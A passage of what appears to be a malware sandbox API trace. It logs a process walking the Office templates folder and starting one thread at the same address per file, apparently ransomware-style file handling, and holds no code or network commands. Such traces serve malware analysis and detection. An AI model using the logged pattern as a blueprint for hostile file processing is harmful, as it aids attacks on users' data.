_Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.452] wcscat (in: _Dest=0x1b7ad200, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.452] wcscat (in: _Dest=0x1b7ad200, _Source="AdjacencyLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" [0097.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0097.453] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x33b26, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyMergeLetter.dotx", cAlternateFileName="ADJACE~2.DOT")) returned 1 [0097.453] wcscmp (_String1="AdjacencyMergeLetter.dotx", _String2=".") returned 1 [0097.453] wcscmp (_String1="AdjacencyMergeLetter.dotx", _String2="..") returned 1 [0097.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7adc00 [0097.453] wcscpy (in: _Dest=0x1b7adc00, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.454] wcscat (in: _Dest=0x1b7adc00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.454] wcscat (in: _Dest=0x1b7adc00, _Source="AdjacencyMergeLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx" [0097.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adc00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0097.455] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1953d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x36f0b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyReport.dotx", cAlternateFileName="ADJACE~3.DOT")) returned 1 [0097.455] wcscmp (_String1="AdjacencyReport.dotx", _String2=".") returned 1 [0097.455] wcscmp (_String1="AdjacencyReport.dotx", _String2="..") returned 1 [0097.455] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a790 [0097.455] wcscpy (in: _Dest=0x2027a790, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.455] wcscat (in: _Dest=0x2027a790, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.455] wcscat (in: _Dest=0x2027a790, _Source="AdjacencyReport.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" [0097.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0097.458] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1953d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3bcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyResume.dotx", cAlternateFileName="ADJACE~4.DOT")) returned 1 [0097.458] wcscmp (_String1="AdjacencyResume.dotx", _String2=".") returned 1 [0097.458] wcscmp (_String1="AdjacencyResume.dotx", _String2="..") returned 1 [0097.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a830 [0097.459] wcscpy (in: _Dest=0x2027a830, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.459] wcscat (in: _Dest=0x2027a830, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.459] wcscat (in: _Dest=0x2027a830, _Source="AdjacencyResume.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx" [0097.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0097.460] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR1.XLT", cAlternateFileName="")) returned 1 [0097.460] wcscmp (_String1="ADR1.XLT", _String2=".") returned 1 [0097.460] wcscmp (_String1="ADR1.XLT", _String2="..") returned 1 [0097.460] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85e910 [0097.460] wcscpy (in: _Dest=0x1b85e910, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.460] wcscat (in: _Dest=0x1b85e910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.460] wcscat (in: _Dest=0x1b85e910, _Source="ADR1.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT" [0097.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900 [0097.461] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR10.XLT", cAlternateFileName="")) returned 1 [0097.461] wcscmp (_String1="ADR10.XLT", _String2=".") returned 1 [0097.461] wcscmp (_String1="ADR10.XLT", _String2="..") returned 1 [0097.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85e490 [0097.461] wcscpy (in: _Dest=0x1b85e490, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.461] wcscat (in: _Dest=0x1b85e490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.461] wcscat (in: _Dest=0x1b85e490, _Source="ADR10.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT" [0097.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0097.462] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR2.XLT", cAlternateFileName="")) returned 1 [0097.462] wcscmp (_String1="ADR2.XLT", _String2=".") returned 1 [0097.462] wcscmp (_String1="ADR2.XLT", _String2="..") returned 1 [0097.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8687c0 [0097.462] wcscpy (in: _Dest=0x1b8687c0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.462] wcscat (in: _Dest=0x1b8687c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.462] wcscat (in: _Dest=0x1b8687c0, _Source="ADR2.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT" [0097.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8687c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0097.463] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR3.XLT", cAlternateFileName="")) returned 1 [0097.463] wcscmp (_String1="ADR3.XLT", _String2=".") returned 1 [0097.463] wcscmp (_String1="ADR3.XLT", _String2="..") returned 1 [0097.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b868840 [0097.463] wcscpy (in: _Dest=0x1b868840, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.463] wcscat (in: _Dest=0x1b868840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.463] wcscat (in: _Dest=0x1b868840, _Source="ADR3.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT" [0097.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4 [0097.464] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR4.XLT", cAlternateFileName="")) returned 1 [0097.464] wcscmp (_String1="ADR4.XLT", _String2=".") returned 1 [0097.464] wcscmp (_String1="ADR4.XLT", _String2="..") returned 1 [0097.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8688c0 [0097.464] wcscpy (in: _Dest=0x1b8688c0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.464] wcscat (in: _Dest=0x1b8688c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.464] wcscat (in: _Dest=0x1b8688c0, _Source="ADR4.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT" [0097.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8688c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0097.465] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR5.XLT", cAlternateFileName="")) returned 1 [0097.465] wcscmp (_String1="ADR5.XLT", _String2=".") returned 1 [0097.465] wcscmp (_String1="ADR5.XLT", _String2="..") returned 1 [0097.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b868940 [0097.465] wcscpy (in: _Dest=0x1b868940, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.465] wcscat (in: _Dest=0x1b868940, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.465] wcscat (in: _Dest=0x1b868940, _Source="ADR5.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR5.XLT" [0097.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0097.466] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR6.XLT", cAlternateFileName="")) returned 1 [0097.466] wcscmp (_String1="ADR6.XLT", _String2=".") returned 1 [0097.466] wcscmp (_String1="ADR6.XLT", _String2="..") returned 1 [0097.466] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8689c0 [0097.466] wcscpy (in: _Dest=0x1b8689c0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.466] wcscat (in: _Dest=0x1b8689c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.466] wcscat (in: _Dest=0x1b8689c0, _Source="ADR6.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR6.XLT" [0097.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8689c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0097.467] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR7.XLT", cAlternateFileName="")) returned 1 [0097.467] wcscmp (_String1="ADR7.XLT", _String2=".") returned 1 [0097.467] wcscmp (_String1="ADR7.XLT", _String2="..") returned 1 [0097.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b868a40 [0097.467] wcscpy (in: _Dest=0x1b868a40, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.467] wcscat (in: _Dest=0x1b868a40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.467] wcscat (in: _Dest=0x1b868a40, _Source="ADR7.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR7.XLT" [0097.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0097.468] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR8.XLT", cAlternateFileName="")) returned 1 [0097.468] wcscmp (_String1="ADR8.XLT", _String2=".") returned 1 [0097.468] wcscmp (_String1="ADR8.XLT", _String2="..") returned 1 [0097.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b868ac0 [0097.468] wcscpy (in: _Dest=0x1b868ac0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.468] wcscat (in: _Dest=0x1b868ac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.468] wcscat (in: _Dest=0x1b868ac0, _Source="ADR8.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR8.XLT" [0097.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0097.469] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR9.XLT", cAlternateFileName="")) returned 1 [0097.469] wcscmp (_String1="ADR9.XLT", _String2=".") returned 1 [0097.469] wcscmp (_String1="ADR9.XLT", _String2="..") returned 1 [0097.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b868b40 [0097.470] wcscpy (in: _Dest=0x1b868b40, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.470] wcscat (in: _Dest=0x1b868b40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.470] wcscat (in: _Dest=0x1b868b40, _Source="ADR9.XLT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR9.XLT" [0097.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0097.470] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2941e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryLetter.dotx", cAlternateFileName="APOTHE~1.DOT")) returned 1 [0097.470] wcscmp (_String1="ApothecaryLetter.dotx", _String2=".") returned 1 [0097.470] wcscmp (_String1="ApothecaryLetter.dotx", _String2="..") returned 1 [0097.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027a8d0 [0097.471] wcscpy (in: _Dest=0x2027a8d0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.471] wcscat (in: _Dest=0x2027a8d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.471] wcscat (in: _Dest=0x2027a8d0, _Source="ApothecaryLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx" [0097.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0097.472] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2f0f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryMergeLetter.dotx", cAlternateFileName="APOTHE~2.DOT")) returned 1 [0097.472] wcscmp (_String1="ApothecaryMergeLetter.dotx", _String2=".") returned 1 [0097.472] wcscmp (_String1="ApothecaryMergeLetter.dotx", _String2="..") returned 1 [0097.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x2027a970 [0097.472] wcscpy (in: _Dest=0x2027a970, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033" [0097.472] wcscat (in: _Dest=0x2027a970, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0097.472] wcscat (in: _Dest=0x2027a970, _Source="ApothecaryMergeLetter.dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx" [0097.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8 [0097.473] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1ce21530 | out: lpFindFileData=0x1ce21530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3462a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryNewsletter.dotx", cAlternateFileName="APOTHE~3.DOT")) returned 1 [0097.473] wcscmp (_String1="ApothecaryNewsletter.dotx", _String2=".") returned 1 [0097.473] wcscmp (_String1="ApothecaryNewsletter.dotx", _String2="..") returned 1 [0097.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x2027aa10 [0097.473] wcscpy (in: _Dest=0x2027aa10, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: 